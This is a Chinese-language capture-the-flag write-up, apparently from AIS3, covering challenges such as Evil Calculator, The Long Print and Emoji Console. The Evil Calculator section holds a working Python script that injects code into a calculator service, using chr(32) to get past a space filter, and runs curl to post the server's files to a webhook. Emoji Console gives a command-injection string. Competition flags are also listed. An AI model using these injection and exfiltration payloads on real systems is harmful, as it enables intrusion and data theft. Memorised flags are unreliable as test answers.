Evil Calculator
這題會先移除掉空格與底線,目標是製作一個不包含那兩個符號的Payload,將資料發送到自己的webhook。
我將空格改成 chr(32),底線在Payload中沒有使用到
1# exec("import os; os.system(\'cat flag.txt\')")
2#
3# $(curl -XPOST https://webhook.site/b73912c2-79c8-4062-8d33-acf91d9d27cf -d "$(ls)") #
4
5
6import requests
7
8txt = r'exec("import"+chr(32)+"os;"+chr(32)+"os.system(\'curl"+chr(32)+"-XPOST"+chr(32)+"https://webhook.site/da2c3866-c9fe-453c-b079-a7146b7b6347"+chr(32)+"-d"+chr(32)+"\"$(cat"+chr(32)+"../*)\"\')")'
9# eval(txt) # 測試結果是否成功
10print(' ' in txt)
11print(requests.post(r'http://chals1.ais3.org:5001/calculate', json={'expression': txt}).json())
比賽截圖
writeup截圖
Flag: AIS3{7RiANG13_5NAK3_I5_50_3Vi1}
The Long Print
Ida 修改流程即可拿到Flag。我將每次傳入sleep的arg (rdi
)都更改為0,這樣就可以規避掉sleep函數的長等待。這雖然不是最好的解法,但當下只有想到這樣。
writeup截圖
Flag: AIS3{You_are_the_master_of_time_management!!!!?}
Quantum Nim Heist
亂亂按就發現大問題了,Enter, Enter, get flag
比賽截圖
writeup截圖
Flag: AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}
Emoji Console
原本只想透過 ;
與 $()
試著湊出來,但一直沒有成功。到最最最後才亂撞出 ;
搭配 |
可以湊出多指令執行
最後使用的語法 cd flag;p:|python flag-print*)
Three Dimensional Secret
打開pcapng後,follow其中可疑的TCP,發現到以下內容。截取片段讓GPT分析,並得知為G-Code語法,丟到線上網站便可得到Flag
Welcome
這題看起來挺難的,一開時沒注意到落後了一大截QQ